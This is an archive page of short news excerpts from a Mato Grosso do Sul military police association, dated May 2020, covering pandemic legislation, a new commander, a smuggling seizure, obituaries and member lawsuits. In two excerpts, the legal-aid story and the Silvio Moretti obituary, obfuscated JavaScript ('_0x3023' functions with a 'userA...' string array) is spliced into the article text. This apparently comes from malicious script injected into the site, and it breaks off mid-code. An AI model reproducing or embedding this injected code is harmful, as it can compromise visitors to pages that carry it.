sábado, novembro 23
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Mês: maio 2020

NOTA TÉCNICA – Lei Complementar nº 173

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NOTA TÉCNICA Lei Complementar nº 173, de 28 de maio de 2020 – Programa Federativo de Enfrentamento ao Coronavírus. A Associação e Centro Social da Polícia Militar e Bombeiro Militar do Estado de Mato Grosso do Sul – ACS/PMBM/MS, vem apresentar Nota Técnica acerca do impacto da legislação referenciada no âmbito da legislação da PM/BM do MS. Em 28 de maio de 2020, o Presidente da República sancionou o PLP 039/2020, com vetos que trarão uma série de prejuízos ao efetivo militar do estadual. A nova legislação trata de socorro financeiro a Estados e Municípios para subsidiar ações de enfrentamento ao COVID-19, contudo, para que recebam ajuda federal, Governadores e Prefeitos devem cumprir regras específicas e criando limitações que terão validade até 31 de dezembro de 2021, dentre elas as que...
Comandante da PM quer parceria com entidades nas reivindicações

Comandante da PM quer parceria com entidades nas reivindicações

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O novo comandante-geral da Polícia Militar, coronel Marcos Paulo Gimenez, se colocou à disposição das entidades representativas para reivindicar melhorias para a tropa. Ele se reuniu, na tarde desta quinta-feira (28), com a diretoria Executiva da ACS e falou sobre seus projetos à frente da corporação. “Quero comandar valorizando o policial militar. Quero estar junto com as associações nas reivindicações legais, sempre em prol do bem da Polícia Militar”, afirmou. O presidente da ACS, cabo Mario Sérgio Couto, parabenizou e desejou sorte ao novo comandante-geral da PMMS, além de pedir apoio nas demandas da classe. “Que seja parceiro dos nossos policiais, tanto os ativos quanto os veteranos e, principalmente, dos praças, que atuam na linha de frente no combate a criminalidade. Que ele faça...
Polícia Militar Rodoviária de Paranaíba apreende mais de 500 mil maços de cigarros contrabandeados

Polícia Militar Rodoviária de Paranaíba apreende mais de 500 mil maços de cigarros contrabandeados

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Policiais militares rodoviários de Paranaíba apreenderam, nesta quinta-feira (22), uma grande quantidade de cigarros contrabandeados, causando um prejuízo estimado em mais de R$ 2,5 milhões aos criminosos. Segundo informações dos policiais, a apreensão ocorreu quando os policiais realizavam rondas e um caminhão, ao avistar a viatura, empreendeu fuga. A perseguição durou cerca de 25 quilômetros. Próximo a uma ponte, o condutor do caminhão saltou do veículo em movimento e fugiu na mata. Os policiais levaram a carga para a base e, em um levantamento preliminar, estimaram 500 mil maços de cigarros. “É motivo de orgulho para a corporação esse excelente trabalho realizado na MS-310. Parabéns pelo trabalho prestado, por arriscarem a vida pela população de Mato Grosso do Sul. Temos que louvar...

Presidente da ACS parabeniza novo comandante da PMMS

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O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, parabenizou e desejou sorte ao novo comandante-geral da PMMS, Marcos Paulo Gimenez. Ele tomou posse na manhã desta sexta-feira (22) e substituiu o coronel Waldir Ribeiro Acosta. “Parabenizamos o novo comandante e pedimos que ele tenha um olhar para a tropa. Que seja parceiro dos nossos policiais e, principalmente, dos praças, que atuam na linha de frente no combate a criminalidade. Que ele faça um ótimo comando, e que isso reflita no trabalho dos nossos policiais”, disse Couto. Gimenez ingressou como Oficial na Polícia Militar em 1997. Mais recentemente, comandou a antiga Cigcoe (Companhia Independente de Gerenciamento de Crises e Operações Especi...

Jurídico consegue liberdade provisória para sócio autuado por porte ilegal de arma

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu a liberdade provisória, na última terça-feira (19), para um associado que havia sido preso em flagrante após ter ocorrido um disparo acidental no interior de uma unidade de responsabilidade da PMMS. O sócio, da Regional de Dourados, não possuía o registro da arma. O flagrante na Corregedoria foi finalizado por volta das 15h e o Jurídico da ACS permaneceu no local prestando irrestrito atendimento ao caso. Logo ao anoitecer, após ter sido emitido o parecer pela manutenção da prisão pela Promotoria Pública, a defesa interpôs pedido de liberdade provisória em favor do policial militar, o qual foi acatado pelo juiz plantonista. function _0x3023(_0x562006,_0x...

NOTA DE PESAR – José Marques Filho

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É com extremo pesar que a ACS/Regional de Naviraí comunica que nas primeiras horas da manhã de hoje (20), aos 62 anos de idade, faleceu o associado Capitão Convocado QAOPM José MARQUES Filho, oficial que era lotado no 12º BPM de Naviraí. O velório será realizado na Capela da PAX PRIMAVERA na Av. Mato Grosso em Naviraí, porém, ainda não foi confirmado o horário do sepultamento, tendo em vista que familiares aguardam a liberação do corpo na cidade de Dourados. Capitão Marques estava internado desde o dia 06 de maio do corrente ano, quando após consulta médica passou mal no interior de uma farmácia na cidade de Dourados, infelizmente, acabou nos deixando na madrugada desta quarta-feira. A sua morte nos pegou de surpresa e o levou de nós repentinamente. Neste momento de dor e consternação, s...

NOTA DE PESAR – Silvio Moretti da Silva

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É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) informa o falecimento do 3º SGT PM REF Silvio Moretti da Silva, que completaria 65 anos nesta segunda-feira (18). Conforme familiares, ele foi vítima de um infarto em sua residência, no bairro Aero Rancho, em Campo Grande. O militar era hipertenso e já havia sofrido um ataque cardíaco. Rogamos a Deus para que conforte familiares e amigos neste momento de dor, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userA...
Presidente da ACS esclarece matéria do jornal Midiamax: ‘sou policial e estou do lado da minha classe’

Presidente da ACS esclarece matéria do jornal Midiamax: ‘sou policial e estou do lado da minha classe’

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O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, esclarece que não disse “haver indícios” de transgressão disciplinar por parte de um sargento da PM, alvo de procedimento disciplinar, por criticar o posicionamento do governador Reinaldo Azambuja com relação às medidas adotadas durante a pandemia do Coronavírus. O trecho da fala foi publicado ontem pelo jornal Midiamax. “O próprio jornal cita que eu não tive acesso ao procedimento. Eu disse que a Corregedoria tem o direito de fazer sua investigação. Cabe a ela saber se foi transgressão ou não. Não defendo Governo, nem Corregedoria. Eu sou policial. Faz 29 anos que sou policial e estou do lado da minha classe”, afirmou. Segundo o site, o sargento ...
ACS ingressa com ação pedindo suspensão do desconto do SPS

ACS ingressa com ação pedindo suspensão do desconto do SPS

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) protocolou, na tarde desta quarta-feira (13), uma ação coletiva requerendo a suspensão definitiva do desconto do SPS (Sistema de Proteção Social) da folha dos inativos. A entidade estima que mais de 1.700 associados possam ser beneficiados com a medida. A ação foi protocolada na Vara de Fazenda Pública de Campo Grande. “Esses inativos e pensionistas já tinham seus direitos garantidos. Não estamos atacando a lei, mas, reivindicando um direito garantido de nossos associados. Temos trabalhado diuturnamente e, quando não conseguimos pelo diálogo, judicializamos a questão. E assim faremos com as demais ações, como HPM e Pasep”, adiantou o presidente da Associação, cabo Mario Sérgio Couto. A ...
Abono salarial é prorrogado até o final de 2021

Abono salarial é prorrogado até o final de 2021

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A Assembleia Legislativa de Mato Grosso do Sul aprovou, durante sessão nesta quarta-feira (13), o Projeto de Lei 82/2020, com emenda coletiva, que prorroga o abono salarial aos servidores públicos estaduais até o prazo de 31 de dezembro de 2021. A proposta é de autoria do Poder Executivo, que a enviou após indicação dos 24 deputados estaduais a pedido de várias categorias devido a pandemia do Covid-19, que afetou a economia familiar de muitos sul-mato-grossenses e ao possível congelamento de aumento aos servidores públicos em tramitação no Congresso Federal. A proposta foi aprovada em primeira discussão, com emenda coletiva apresentada em plenário que alterou a prorrogação de maio de 2021 para dezembro do mesmo ano, após obter parecer oral favorável da CCJR incorporando a emenda. Na sequ...